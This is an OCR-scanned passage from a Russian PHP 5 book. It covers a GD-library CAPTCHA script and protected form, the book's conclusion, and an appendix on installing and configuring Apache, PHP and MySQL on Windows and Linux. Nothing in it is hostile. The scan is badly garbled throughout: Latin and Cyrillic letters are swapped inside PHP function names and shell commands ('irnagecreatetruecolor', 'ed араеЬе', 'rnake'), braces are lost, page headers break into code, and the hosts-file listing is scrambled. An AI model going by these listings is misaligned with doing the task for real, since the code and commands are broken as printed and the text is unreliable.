$у Image stringup ($im- Выводит строку $s в вертикальном режиме. Пара- age , $font , $х, $у, метры аналогичны функции ima gestring () $s, $color )
Гл ава 28. Динамические изображения. Библиотека GDLib 28.8.1 . Защитное изображение ДЛЯ НТМ L-фо р мы 1125 Для защиты от авто матической регистрации в НТМL-форму добавляют изо­ бражение со случайной последо вател ьностью цифр и букв, которые выводят­ ся пол ьзователю в виде динамического изображения . Одновременно в сессию помещается случайная последовательность цифр. Пол ьзовател ь должен вве­ сти код, который он видит на изображении, в тексто вое поле. Есл и код сов­ падает с сохраненным в сессии, можно с большой вероятностью сказать, что сайт просматривает человек, поскольку робот обычно не решает задачу рас­ познавания образов (впрочем, настойчивый злоум ышленник может попы­ таться распознать изображение, однако это случается крайне редко) . В листинге 28.23 приводится один из возможных вариантов скрипта, форми­ рующего случайную последовател ьность символов и чисел на изображении. Л истинг 28.23 . ВЫВОД случай ного изображения <?php // Ширина изображения $width = 150 ; // Высота изображения $height = 50; // Количество символов в коде $sign = 5; // Защитный код $code = "". , / / Инициируем сессию session_s tart () ; // Символы, исполь зуемые в коде $letters = array('a', 'Ь', 'с','d','е', 'f', 'g','h','j','k',1т', 'n' , 'р' , ' q' ,'r','s','t','u', 'v','w','х ' , 'у', 'z ' , '2', ' 3 ', '4', '5' , '6', '7', '8', '9'); // Компоненты для RGВ- цв ета $figures = array ( ' 50 ' , '70', '90', '11 0', '130' , '150' , '170', '190' , '210') ;
1126 // Создаем пустое изображение $irng = irnagecreatetruecolor ( $width , $height) ; // Заливаем фон белым цветом $fоп = irnagecolorallocate ($irng, 255, 255, 255) ; irnagefill ($img , О, О, $fon) ; // Заливаем фон точками for ($j=O; $j <$width ; $j++ ) for ($i=O ; $i« $height * $width) /1000; $i++ ) // Формируем случайный цвет $color = irnagecolorallocatealpha ( Часть 11. Создание са йта $img , $figures [rand (0, count ($figures )-1) ], $figures [rand(0, count ($figures )-1) ], $figures [rand (0, count ($figures )-1) ], rапd (10, ЗО) ); // Устанавливаем случайную точку // случайн ого цв ета irna gesetpixel ($img , rand (О, $width ) , rand (O, $height) , $color) ; // Накладываем защитный код for ($i=O ; $i<$sign; $i++ ) // Ориентир $h=1; // Рисуем $color = irnagecolorallocatealpha ( $img , $figures [rand (0, count ($figures )-1) ],
Глава 28. Динамические изображения. Библиотека GDLib ?> $figurеs [ rаПd (О, соuпt ($fi gurеs)-l) ], $figurеs [ rапd (О, соunt ($fi gurеs)-l) ], rand(lO ,30) ); // Генерируем случайный символ $letter = $lеttеrs [ rапd (О, sizеоf ($lеttеrs ) - l) ]; // Формируем координаты ДЛЯ выв ода символа if (emp ty ($x) ) $х = $width*O .08; else $х = $х + ($width* O .8)/$sign+rand (O, $width*O . Ol) ; if ($h == rand(1, 2) ) $у = (($height *1) /4 ) + rand (O, $height * O.l) ; else $у = (($height *1) /4 ) - rand (O, $height *O .l) ; // Запоминаем символ в переменной $code $code .= $letter ; // Изменяем регистр символа if ($h == rand(O, l) ) $letter strtoupper ($letter) i // Выводим символ на изображение imagestring ($img , 6 ,$х, $у, $letter, $color) ; // Помещаем защитный код в сессию $_SESSION[ 'code' ] = $code ; // Выв одим изображение heade r ("Content -type : image /jpe g" ) ; image jpeg ($img ) ; 1127 Скрипт из листинга 28.23 позволяет создать изображение шириной $width и высото й $height пикселов, содержащее $sign случайных символов случай­ ного цвета. Символы задаются массивом $letters, компоненты цвета ­ массивом $figures. После этого изображение заливается белым цветом, на котором размещаются в случай ном порядке множество цветных пикселов, а затем ге нерируется и выводится случайный код $code. Переменная $code, помимо всего прочего, помещается в сессию, для того чтобы обраб()тчик НТМL-формы имел возможность сравнить введенный пользовател ем и сге­ нерирован ный коды . Так как данные из сессии не покидают сервер, зло-
1128 Часть 11. Создание сайта умышленники не имеют возможности украсть защищенный код, стал кивая сь со сложной задачей распознавания образов, затраты на решение кото рой н е всегда оправдан ны. В листинге 28.24 приводится пример НТМL-формы, защищенной при помо­ щи изображе ния с защитным кодо м (скрипт из листинга 28.23 помещен в файл с именем img.pl1p). Листинг 28.24. Защитное изображение для НТМL-формы <?php ?> // Иници и руем сессию session_s tart () ; <html > <head> <rne ta http-еquiv="Сопtепt -Туре " content= "text /html ; cha rset=windows - 1251"> <titlе>Пример< /titlе> </head> <body> <?php ?> if ( isset ($_POST ['c ode' ]) && isset ( $_SE SSION['code ' ])) if (strtolower ( $_POST ['c ode' ] ) == $_SESSION ['c ode' ] ) else ?> echo '<font со10r=" grееп" >Защитный код BepeH !</font> '; else echo '<font соlоr="rеd">Неверный защитный код!</fопt > '; <form me thod="po st"> <img src= "img.php " bo rde r="Q" аlt= "Введите защитный код "><Ьr> <input type= "text " name= "code "><br> <input type="submit " vа luе= "Ввести "> </form> <?php
Глава 28. Динамические из ображения. Библиотека GDLib </body> </htrnl> На рис. 28. 1 1 представлен результат работы скрипта из листи нга 28.24 . Рис. 28 .1 1. Защита изображения защитн ым кодом 1129
Заключение Итак, книга завершена. Мы прошли через 28 гл ав, в кото рых подробно рас­ сказывалось о том, как создать многофункциональный Web-сайт, испол ьзуя в качестве основного инструмента разработки язык програм мирования РНР 5. На страни цах этой книги мы постарались рассмотреть разраб отку как можно большего количества программных блоко в, которые могут понадобиться Web-разработчику при создании Web-саЙта. На сайте нашей IТ-студии SоftТiше уже нескол ько лет успешно работает фо­ рум, который посвящен программированию на РНР и располагается по адре­ су http ://www .softtime.ru/forum/. Авторы искренне надеются, что после того как вы перелистнете эту стран ицу, мы с вами не расстанемся, а встретимся на нашем форуме. Успехов вам и всего доброго !
ПРИЛОЖЕНИЯ
ПРИЛОЖЕНИЕ 1 Установка и настройка РНР, Web-сервера Apache и MySQL-сервера Программирование на РНР отличается от програм мирования на других язы­ ках достато чно сл ожной систе мой настройки среды . Для того чтобы создать удоб ную среду программирования, недостато чно устан овить инсталляцион­ ные пакеты - потребуется их тщател ьное ко нфигурирование. Так как и язык программирования РНР, и Web-сервер Арасlщ и MySQL-сервер пришли из операционной системы UNIX, их настройка и ад министрирование сводится к редактированию ко нфигурациuнных файлов и работе в командной строке. Такой подход часто сбивает с толку программисто в, не имеющих опыта ра­ боты в UNIХ-подобных операционных систе мах . В данном приложении рас­ сматривается процесс создан ия удобного рабочего места на локальной ма­ шине, которое позволит тестировать сайты без размещения их в Интернете на серверах xoct- компаниЙ. ЗА МЕ ЧАНИЕ Web-среАа является динамичной средой, в кото рой часто происходят из­ менения, поэтому перед установкой сверьтесь со статьями, расположен­ ными по адресу http ://ww w .s oftti me. ru/articleli ndex.php?id_page=9 . кото­ рые авторы регулярно обновляют. По ссылке вы также можете загрузить готовые ко нфигурационные файлы httpd. conf (для Apache) и php.ini (для РНР). Если что-то не уста навливается или вам что-то не понятно, вы може­ те смело обращаться на форум http ://ww w . softti me.ru/fo rum/ index. php?id_forum=5, где получите ответы на все вопросы.
1134 Припожения П1 .1 . Где взять дистрибути вы? Прежде чем предпринять какие-л ибо действ ия, необходимо обзавестись ди­ стр ибутивам и интерпретатора РНР, Web-сервера АрасЬе и MySQL-сервера. Поис.ки дистр ибутивов следует начинать с официалЬНЫ,х сайто в дан ных про­ граммных продуктов (табл . Пl .l). Таблuца П1. 1 . ОфициаЛЬНblе сайmbl РНР, Apache и MySQL Программный продукт Web-сайт Инте рпретатор РНР http ://ww w .p h p.net Web-сервер Apache http ://ww w .apache.org СУБД MySQL http ://d ev. mysql.com Поскол ьку версии программных продуктов постоя нно меняются и указать постоянную ссылку невозможно, приведем алгоритм загруз ки свежей версии каждого из программных продуктов. ЗАМЕЧАНИЕ Свежие версии программных продуктов всегда доступны на нашем сайте http ://ww w .s oftti me. ru/. П 1.1.1. Дистр ибути в РНР Загрузив страницу http ://www.php.net. необходимо перейти на страницу downloads, которая на момент написания книги имела адрес http ://www.php.net/downloads.php. На дан ной странице РНР доступен в двух форматах: исходных кодах (Complete Sou rce Code) и предкомпилированном варианте (Windоws Вinaries). Нас будет инте ресовать предкомпилированная версия, которая также распространяется в двух вариантах: в виде автоматиче­ ского установщика (например, pi1p-5 .2.5-il1staller.exe) и в виде ziр-архи ва (на­ пример, pi1p-5 .2.5 -WiI132.zip). Автоматический установщик удобен, но содер­ жит лишь ограниченную версию РНР (для сравнения: инсталлятор занимает 2 Мбайт, а ziр-архив 8 МбаЙт) . В состав полной версии входят расширения (на­ пример, для работы с СУБД MySQL, для создания динамических изображений и т. п.). Кроме того, использование автоматического инсталлятора не избавляет
Прuл оженuе 1. Уст ановка и настройка РНР, We b-сервер а Apache . .. 1135 от необходимости настройки конфигурационного файла Web-сервера Арасl1е - i1ttpd.conf, поэтому рекомендуется загружать ziр-архив. В раздел е Windows Вinaries следует выбрать ссылку РПР 5.х.х zip package, которая приведет на страницу со списком зеркал, откуда можно загруз ить текущую версию РНР. На данной странице можно выбрать любую ссыл ку; разница в них заключается лишь в географ ическом расположении серверов. Разумнее выбрать сервер, который расположен в Российской Федерации (Russian Federation). Ссылки на такие серверы помечены значком "россий­ ский флаг". ЗАМЕЧАНИЕ С сайта http ://www. php.net можно загрузить справочник по ЯЗblКУ РНР, в том числе частично переведеННblЙ на русский ЯЗblК. Для этого необходимо перейти на страницу documentation (http://www. php .netld ocs.php) и там Вblбрать ССblЛКУ downloads (http://www. php.netldownload-docs.php). Н а стра нице загрузки будет предста влена табл ица, позволяющая загрузить справочник в трех форматах дл я каждого из ДОСТУПНblХ ЯЗblКОВ. Для пользо­ вателей Windows лучше воспол ьзоваться сhm-форматом, КОТОРblЙ позво­ ляет осуществлять поиск в справочнике. П1.1 .2. Дистрибутив Apache Дл я того чтобы тестировать и просматривать сайты на локальной машине, необходимо установить Web-сервер АрасЬе. Поиск дистрибути ва сл едует начать с официальной страницы http ://www.apache.org, выбрав ссылку Download Сгот а mirror (http ://www.apache.org/dyn/closer.cgi). На от­ крывшейся странице 'будет представлен список НТТР- и FTP-серверов, от­ куда можно загрузить Web-сервер АрасЬе. При поиске следует помнить, что АрасЬе может таюке называться 11ttpd, по имени его демона в UNIX. На зеркалах обычно много разл ичных файлов, на­ пример : D i1tlpd-2 .0 .58-wiп32-srс.ziр - архи в с исходными кодами (src) для Windows (wiп32) Web-сервера АрасЬе (i1ttpd) версии 2.0 .58; D i1ttpd-2 .0.58.tar.gz - то же самое, но для Linux, в котором программы принято распространять в исходных кодах; D apache_2 .0 .58-wiI13 2-x86-11O_ssl.exe - а вот это откомпилированный под архитектуру (х86) для Wil1dows (wiI132) без поддержки SSL (l1o_ssl) сер­ вер АрасЬе (apache) версии 2.0 .58 - именно его и следует загрузить .
1136 Прuложенuя ЗАМЕЧА НИЕ Бинарные коды дистрибути вов Apache для Windows распространяются в нескол ьких вариантах, с расш ирением как ехе , так и msi, и имеют название вида httрd_версия_wi пЗ2_* _ .msi. ЗАМЕЧАНИЕ Скачать дистрибути вы Apache дл я Windows можно по адресу http://apache.rinet. ru/d istlhttpd/binaries/win32/. П1.1 .З. Дистрибутив MySQL Дистрибутив MySQL можно загрузить со страницы http ://d ev.mysql.com/d ownloads/ . На момент написания книги для загруз ки были доступны три версии СУБД MySQL: О MySQL 5.0 - рекомендуемая версия MySQL; О My SQL 5.1 - разрабаты ваемая версия, находящаяся в стадии бета­ тестирования; О MySQL 4. 1 - устаревшая, но поддержи ваемая версия. ЗАМЕЧАНИЕ На официальном сайте MySQL для загрузки всегда доступ ны три версии. Ка к тол ько разрабаты ваемая версия переходит в стадию рел иза (рекомен­ дуемой версии), в нее прекращают добавлять нововведения и лишь ис­ правляют найденные ошибки. Все нововведения добавля ются в новую раз­ рабатываемую версию. При этом рекомендуемая ранее версия получает статус устаревшей, и ее поддержка прекращается . ЗАМЕЧАНИЕ Полное справочное руководство по MySQL на русско м языке можно найти на официальном сайте MySQL по адресу http://dev.mysql.com/d oc/mysqllru/index.html. Из трех доступных дистрибутивов следует выбрать рекомендуемый. На от­ крывшейся странице будет представлен список дистри бути вов, ском пилиро­ ванных под разные операционные системы. Для Lil1ux имеются дистрибути­ вы как в gziр-архивах (tar .gz), так и в rрm-пакетах (rpm), откомпилированные
Прuложенuе 1. Уст ановка и на стройка РНР, We b-сервер а Apache ... 1137 под 32- и 64-битную архитектуры . Для Windows дистрибутивы представл ены в трех вариантах: CI Windows Essentials (х86) - урезанная версия дистрибутива, из которой удал ены все вспомогател ьные утил иты, по сути, это "голый" сервер My SQL; CI Windows (х86) - полная версия дистрибутива MySQL, включающая ав­ то матический установщик; CI Witlю ut iпstаllег (unzip iп С:\) - полная версия MySQL без авто матиче- ского устан овщика. Рекомендуется выбрать дистрибутив Windows (х86). Несмотря на то, что его объем превышает все остальные дистр ибутивы из Wil1dоws-серии, он наибо­ лее удобен в работе . Дал ьнейшее изл оже ние материала будет основано именно на это м дистрибути ве. Помимо самого дистр ибутива MySQL имеет смысл загрузить графические клиенты для работы с MySQL-сервером, которые свободно распространя ют­ ся на сайте http ://dev.mysql.com (табл . Пl . 2). Та блица П1.2. Гр афические клиенты MySQL Программа Ссылка MySQL Administгatoг http ://d ev.mysq\.com/d own \oads/administrato r/ 1.0.htm\ MySQL Queгy Browser http ://d ev.mysq\.com/d own\oads/ queгy-browser/1 .1.htm\ MySQL Contro l Center http ://d ev.mysq\.com/down\oads/oth er/mysq\cc. htm\ п 1.2. Установка We b-сервера Apache под Windows Арасl1е под Windows доступен как в виде исходных кодов, так и в виде от­ компилированного пакета. Исходные коды могут понадоб иться в том случае, если вы решили при установк е перекомпилировать Apacl1e. Перекомпилиро­ вание исходных кодов необходимо, когда нужно исключить из испол няемой версии неиспользуемые функции или включить поддержку функци й, не вхо­ дящих в стандартную поставку. В это м случае необходимо наличие установ-
1138 Прuложенuя ленной на машине среды разработки Мiсrоsоft Visual Studio. Есл и стандарт­ ная ко мпиляция сервера вас устраивает, можно присту пить к установке. ПРИМЕ ЧАНИЕ Несмотря на то что Web-сервер Apache уже давно перенесен и успешно функционирует под Windows , тол ько с версии Apache 2.0 .0 произведе на оп­ ти мизация его исходных кодов для использования системных вызовов Win­ dows . До этого использовался уровень POSIX, что приводило к недостаточ­ ной производительности при работе с Apache под Windows . После двойного щел чка на файле 11ttрd_в ерсия_wiI132_* _. msi запустится Мiсrоsоft Instal ler. j1i.� Apache нпр Server 2.0 - InstaDation W'lZ ard а server mfоnnаtiоп P'ease елtе г YOlIr server's iпfогmаtiоп. Рис. П1.1. Настройка параметров се рвера Для начала установки нажм ите кнопку Next, после чего появится окно с ли­ цензионным соглашением. После принятия лицензионного соглашения сле-
Прuложен uе 1. Уст ановка u настройка РНР, We b-сер вера Apache .. . 1139 дует перейти к следующему окну с кратко й информацией о нововведениях во второй версии Apache. Сл едующее окно, показанное на рис. П 1 .1, позволяет ввести информацию о сервере: до менное имя сервера, имя сервера и адрес электронной почты адм инистратора. Если установка происходит на локаль­ ную машину, то в поля для домен ного имени и имени сервера следует ввести localhost (рис. Пl . 1). Очень важно заполнить эти реквизиты, иначе вместо IР-адреса 127.0 .0. 1 в конфигурационный Арасllе-файл httpd.cOl1f будет запи­ сан IР-адрес 0.0 .0.0, и сервер не сможет запуститься . В нижней части окна предл агается выбрать номер порта, по которому сервер будет принимать за­ просы (80 или 8080). ЗАМЕЧАНИЕ Обычно используется стандартный для протокола нттр 80-й порт, од нако есл и дл я запуска сервера Apache по порту 80 недостаточно прав, следует выбрать порт 8080. ji&! АрасЬе нпр Server 2.0 - Installation WlZard IЗ setup Ty pe Ch oQSe th e setu l'l type tnat best SLlits yo ur needs. Рис. П1.2 . Выбор способа установки
1140 Прuложенuя Далее будет предл оже н способ установки (рис. Пl .2): типичный (Typical) или выборочный (Custom), позволяющий выбрать ко мпоненты сервера вруч ную. Следующее окно позволяет выбрать каталог установки сервера, по умолчанию это C:\Program Files\Apache Group . Затем масте р установки сообщит о гото вности к процессу установки, и посл е нажатия кнопки Install будет произведе но ко пирование файлов сервера. Есл и установка прошла успешно, Windows авто матически запустит Арасl1е. По умолчанию вместе с сервером запускается ут ил ита мониторинга работы сер­ вера Apacl1tMonitor, значок кото рой помещается в системном триере. ЗА МЕЧА НИЕ Работа утилиты ApachtMonitoг не вл и яет на работу сервера , и ее можно от­ ключить . Если далее она потребуется , ее можно найти в подкаталоге Ып каталога уста новки Apache. Если Вы это видите, это значит, что установка ПО веб-сервера АрасЬе на этой системе ЗRв ершилась успешно. Вы можете теперь добавлять содержимое в эту директорию и З�"\Jенитъ эту страницу. 1. .. ... ...._ _...._...... .._.._ .......... . ... . ......_. ш Вы видите это вместо ожидаемой стр аницы? Рис. n 1.3. Приветственная ст раница Web-се рвера Apache Проверить работоспособность сервера можно, набрав в браузере http ://localhost. В случае успешной установки вы увидите приветственную стран ицу Арасl1е (рис. Пl .з).
Прuложенuе 1. Уст ановка u настройка РНР, We b-сервера Apache . .. n 1.3. Уста н овка Web-сервера Apache п од Linux Разархивируйте дистрибути в при помощи команды : tar -xzf apa ehe_x .x .xx .xx.tar . gz Перейдите в катал ог исходного кода и выполните настройку: ed араеЬе_х .х .хх .хх . /e onfigure -prefix=/us r/loeal /apaehe/\ --enable-ehared=rnax \ - -enable-rnodule=most Далее выполн ите следующие команды : rnake rnake install Для запуска Apaclle нужно вы полнить ком анду : /usr/loeal/apaehe /bin/apaeheetl start 1141 Теперь вы можете попасть на ваш Web-сайт с помощью граф ического брау­ зера (если вы работаете в Х Wil1dow) ил и через ко манду: lynx http: //loealhost/ Проверить, выполняется ли Apaclle, можно командой: ps auxww w I grep httpd Есл и все нормально, эта ко м анда покажет пять рабочих процессов с одинако­ вым именем httpd. Если вы хотите, чтобы Apaclle запускался авто матически при загрузке ком­ пьютера, можно поместить в катал ог /etc/rc .d/il1it.d/ следующий сценарий с именем apaclle: ер /usr/loeal/apaehe /bin/apaeheetl /ete/re .d/init . d/apaehe ehrnod 755 /ete/re .d/init . d/apaehe Эти ко манды создают исполняемый сценарий оболочки, доступный на всех уровнях загрузки . Затем в /etc/rc .d/rc3 .d/ нужно выполнить команду: ln -s ../init . d/apaehe S99apaehe Эта команда создает символи ческую ссылку в катал оге гсЗ .d. Во время за­ грузки ко манды из этого каталога выполняются в ал фавитном порядке, начи­ наяс "S".
1142 Прuложенuя П1.4. Настрой ка виртуальных хостов После того как установка Web-сервера АрасЬе успеш но завершена, необхо­ димо создать виртуал ьный хост. Виртуальный хост позволяет указать ката­ лог, где будут распол агаться HTML- и PHP-фаЙлы. Кроме этого, виртуал ьны е хосты позволяют перенести HTML- и РНР-файлы в другой раздел диска, что может быть удобно при резервном ко пировании данных. Создадим виртуальный хост localhost, файлы которого будут храниться в катал оге D:\data\. Перечень в иртуал ьных узлов обычно расположен в ко нце файла httpd.conf. Сначала требуется указать, како й IР-адрес и порт испол ьзу­ ются дл я виртуал ьного хоста: Name Vi rtua1Host 127.0.0.1:80 З АМЕЧА НИЕ 80 в ко нце IР-адреса указывает порт, кото рый будет прослушивать сервер Apache. Так, если необходимо назначить Web-серверу альтернати вный порт, можно указать вместо 80 порт 8080. Однако этого лучше избегать , так как в этом случае при обращении к серверу придется явно указывать порт в адресе: http://localhost:8080/index.html, поскол ьку, если порт не указывается , браузер автоматически обращается по порту 80. Далее необходимо создать контейнер <V irtua1Host>, который будет опреде­ лять конфигурацию виртуал ьного хоста (листинг Пl .l). Листинг П1.1 . Контейнер <VirtualHost> <Vi rtua1Host 127.0.0.1:80> ServerAdrnin webmaster@may_domain . ru DocumentRoot d: /data ServerName loca1host ErrorLog logs /dum m y-host . examp1e . com-error_1 og Cus tomL og logs /dum m y-hos t.examp1e . com-acces s_1og common </Virtua1Host> Адрес в контейнере виртуал ьного хоста долже н совпадать с адресом, указан­ ным в директиве NameVi rtua1Host. В листинге Пl.l директива Serve rAdmin определяет адрес электронной почты адм инистратора. ИмеНIЮ этот адрес будет выводиться при генерации Web-сервером страниц с сообщеfШЯМИ об ошибках.
Пр uложенuе 1. Уст ановка u настройка РНР, We b-сервера Apache .. . 1143 ЗАМЕЧАНИЕ Файлы, определенные в директивах ErrorLog И Cus tomLog, обязател ьно должны существовать , иначе Web-сервер не запустится . Директива DocumentRoot определяет физическое расположение виртуал ьного хоста на жестком диске . Теперь файл ы можно размещать в катал оге D:\data\, и они будут доступны при обращении к адресу http://localhost/. ЗАМЕЧАНИЕ Если в пути к каталогу виртуал ьного хоста встречаются пробелы, путь сле­ дует заключать в двойные ка вычки . Директива Serve rN ame задает имя сервера, которое в дан ном случае может быть любым. Директивы ErrorLog И Cu stomLog определяют путь к файлам журналов (I0g-файлам), в кото рые Web-сервер Apaclle помещает ошибки и фиксирует обращения к страницам саЙта. Для про верки работоспособности виртуал ьного хоста необходи мо создать катал ог D:\data\ и разместить в нем файл il1dex.lltl11 l, содержащий фразу "Hello, world ! ". ИеНо vюrld! Рис. П1.4 . Настройка виртуал ьного хоста Для того чтобы изменения ко нфигурационного файла вступил и в действие, следует перезапустить Web-сервер Apache (данные из ко нфигурационного
1144 Пр uложенuя файла читаются од ин раз при загрузке сервера) . Есл и ко нфигурационный файл не содержит ошибок, после перезапуска сервера и обращения по адресу http ://localhost/ браузер долже н выглядеть так, как это представл ено н а рис. Пl .4. Можно настроить сразу несколько виртуал ьных хостов. Для этого необходимо для каждого виртуал ьного хоста прописать директи ву NameVi rtua1Host И ко н­ те йнер <Vi rtua1Host>. Создадим допол нительный виртуал ьный хост www.site.ru таки м образом, чтобы при обращении по адресу http://ww w .site.ru загружал ся сайт, расположенный в катал оге D:\ww w .site .rLl\. ЗА МЕЧА НИЕ Для владел ьцев операционной системы Windows Х Р SP2 для настройки нескол ьких виртуал ьных хостов потребуется загрузить исправление WiпdоwsХР-КВ884020-х86-гus.ехе (http://www.microsoft. com/d own l oads/details.aspx?FamilyID= 17d997d2-5034-4ЬЬЬ -Ь74d-аd8430а1 f7с8&DisрlауLапg=гu) . В противном случае настроить нескол ь ко виртуал ьных хостов не удастся . Поместим виртуал ьный хост на IР-адрес 127.0.0.2, прописав вто рую директи­ ву NameVi rtua1Host: NameVirtua1Host 127.0.0.1:80 NameVi rtua1Host 127.0 .0 .2:80 к уже имеющемуся контейнеру <Vi rtua1Host> для loca1host добавим вто­ рой контейнер виртуал ьного хоста www.site.ru (листинг П1 .2). ЗА МЕЧАНИЕ Файлы, определенные в директи вах ErrorLog И Cus tomL og, обязател ьно должны существовать, иначе Web-сервер не запустится . Л истин г П1.2. Контей неры <VirtualHost.> ДЛЯ localhost и виртуал ьного хоста www.site.ru <Vi rtua1Host 127.0.0.1:80> Serve rAdmin webmaster@may_domain . ru DocumentRoot d: /data Serve rName loca1host ErrorLog logs /dum m y- host . examp1e . com - error_1og Cus tomLog logs /dum m y-host . examp1e . com - access log cornmon </Vi rtua1Host>
Прuложенuе 1. Уст ановка u настройка РНР, We b-сервера Apache ... <Vi rtua1Host 127.0.0 .2:80> ServerAdmin webmaster@dum m y-hos t.examp le . com DocumentRoot ..D:/www . s ite . ru .. Serve rName www. sit e.ru ErrorLog logs /site-error_1og Cus tomLog logs /site-acces s_1og common </Vi rtua1Host> 1145 Помимо это го, может потребоваться исправить значение директивы Listen 127 . О .0.2:80 И BindAddress 127 . О. 0 .2:80 дл я Apacl1e версии 1.3.х. В Windows соответств ие между IР-адресам и и именам и, вводи мыми в адрес­ ную строку браузера, устанавли вается в файле С:\Wiпdоws\sуstеI113 2\ drivers\etc\llOstS. В данном файле необходимо устан овить соответств ие между адресом www.site.ru и I P-адресом 127.0.0. 1 (л истинг П1 .3). Листинг П1.З . Файл hosts � (С) Корпорация Майкрософт (Мiсrоsоft Corp. ), 1993-1999 # # Это образец файла ho sts , исполь зуемый Мiсrоsоft TCP/IP для Windows . # # Этот файл содержит сопоставления IP-адресов именам узлов . # Каждый элемент должен располагать ся в отдельной строке . IP- aдpec должен # находиться в первом столбце , за ним должно следовать соответствующее # имя . IP-aдp ec и имя узла должны разделять ся хотя бы одним пробелом . # # Кроме того , в некоторых строках могут быть вставлены комментарии # (такие , как эта строка) , они должны следовать за именем узла и # отделять ся от него символом '#' . # # Например : # # # 102.54.94 .97 38 .25.63.10 rhino .acme .com Х.асте . соm 127.0 .0.1 127.0 .0 .2 localhost www. site .ru # исходный сервер # узел клиента х Создадим каталог D:\ww w .site .ru и поместим в него файл il1dex.11t111 1 следую­ щего содержания (л истинг П1.4).
1146 Прuложенuя Листинг П1 .4. Содержимое файла index. htm l Это файл index . html виртуального хоста www .site.ru Теперь, если перезагрузить сервер и набрать в адресной строке адрес http ://ww w .site.ru. можно увидеть страницу, представл енную на рис. Пl .5 . Рис. П1.5 . Стра ница виртуального хоста ww w . site.ru Следует быть осторожным в выборе имени виртуального хоста, т. к . есл и оно совпадет с реальным сайтом, открыть его уже не удастся . П1.5. Н астрой ка кодировки по умолчанию Для того чтобы настроить кодировку по умолчанию, необходимо отредакти­ ровать ко нфигурационный файл l1ttpd.conf Web-сервера Apache, который можно обнаружить в катал оге С:\Рrogrаш files\Apache Grоu р\Арасhе2\сопf. В первую очередь следует исправить кодировку документов. Для того чтобы документы воспринимались в кодировке ср 1251 (кодировке Windows), необ­ ходимо исправить директиву Add De faultCharset так, как это представл ено ниже : AddDe faultCha rset windows -1251 Клиенту будет сообщаться, что он имеет кодировку ср125 1, есл и кодировка не установлена в заголовке НТМL-документа.
Прuложенuе 1. Уст ановка u настройка РНР, We b-сер вер а Apache . . . П1.6. Управление запуском и остановкой Web-сервера Apache 1147 Есл и при установке сервера в качестве порта, по кото рому АрасЬе принимает запросы, был выбран 80-й порт (см . рис. Пl.l), допускается запуск Apaclle в качестве сервиса. Для запуска консоли управления выполните команду Пуск I Настройка I Панель управления I Администрирование I Службы. В появив­ шемся окне консоли, приведенном на рис. Пl .6, следует выбрать сервис Apaclle2. Контекстное меню позволяет осуществлять запуск, остановку и пе­ резапуск сервиса. Остановить службу Пере:запу с ппь службу Описание: Apache/2 .0.53 (\ЛIin32) �ASP.NEТ State ... IJ!J:IAti HotКey PoIler �A11 Sma{·t IJ!J:IBlueSo1eil Hid Se... �сroп �DНСР-клиент �DNs-кт\иент � IпСD Helper �InterBase Guar..• Provides 5... УпраВЛЯЕ••. Разрешае . .. Helper ser.•. ' h'; ;.=�--",,#�=; I Provides а ... ВОr1aпd Iп••. 1S'=-. ...",..,=-=-",""",,"",,"==-< [ Рис. П1.6. Gлужбы Windows Службы Windows позволяют про изводить запуск фоновых приложений при старте системы . Дл я этого необходимо перейти в окно Свойства, выбрав в контекстном меню сервиса пункт Свойства (рис. Пl.6), и в появившемся ок­ не (рис. Пl . 7) в выпадающем списке Тип запуска выбрать пункт Авто.
1148 Прuложенuя Apache2 (Локальный ко мпьютер) - свойства па J:ип запуска: Qrо п :М'ОЖI'IО у�аз!нь napaMefpbI з.аПУСК6. применяе i"lыs Г!р и запуске СЛуЖбы изэтого диало га. Рис. П1 .7. Окно свойства сервиса Apache2 П1.7 . Управление Apache из командной строки в Windows запускать, останавливать и перезапускать сервер Apaclle из командной строки можно при помощи следующих команд : О Ap ache -k start (запуск); О Ap ache - k restart (перезапус к); О Ap ache -k stop или Ap ache -k shutdown (остановка).
Прuложенuе 1. Уст ановка u настройка РНР, We b-сервера Apache .. . 1149 Все ко манды следует выпол нять из катал ога biп сервера Apaclle (C:\Progral11 Files\Apaclle Gгоuр\Арасllе2\biп\). ЗА МЕЧАНИЕ Ко манды с кл ючом - k являются управляющими командами сервера Apache. Так, команды Ap ache -k install и Ap ache -k un inst.all позво­ ляют установить и удал ить сервис Apache2 . ЗА МЕЧАНИЕ Получить полный список ко манд управления с их кратки м описанием мож­ но, воспользовавшись ко мандой Ap ache -help или обрати вшись к доку­ мента ции к серверу Apache. Команда Ap ache - t позволяет проверить ко нфигурационные файл ы Apaclle на предмет наличия синтаксичес ких ошибок. В случае их отсутствия выдает­ ся строка "Syntax ОК " . Есл и же в ко нфигурационных файлах имеются ошиб­ ки, то в резул ьтате тести рования програм ма выдаст сообщение об ошибке, например: Syntax error оп line 57 of C: /Program Files /Apache Group /Apache2/con f/ httpd .conf : ServerRoot takes опе argument , Common directory of serve r- related files Дл я управления А расl1е в LiПllХ предназначена утил ита apachectl. В дистрибутив ах, основан ных на Red Hat, данная утил ита находится в ката­ логе /llsг/sbiп/. Дл я старта, перезапуска ил и остановки сервера испол ьзуются следующие ком анды : О /usr/ sbin/apache ctl start (запуск); О /usr/sbin/apachectl restart (перезапус к) ; О /us r/sbin/apache ctl stop (остановка) . Допускается также испол ьзо вание параметров сервера -k start, - k restart И -k stop, описанных ранее, тол ько в качестве исполняемого м одуля в LiПllХ выступает не Apaclle, а файл I1ttpd, который находится в катал оге /lI sг/sbiп/. В дистр ибутивах, основан ных на Red Hat, можно таюке испол ьзовать серви­ сы дл я управления Web-сервером Apaclle, для этого необходимо выпол нить сл едующие команды : О /etc/rc .d/init . d/httpd start (запуск) ; О /etc/rc .d/init . d/httpd restart (перезапуск); О /etc/rc .d/init . d/httpd stop (остановка) .
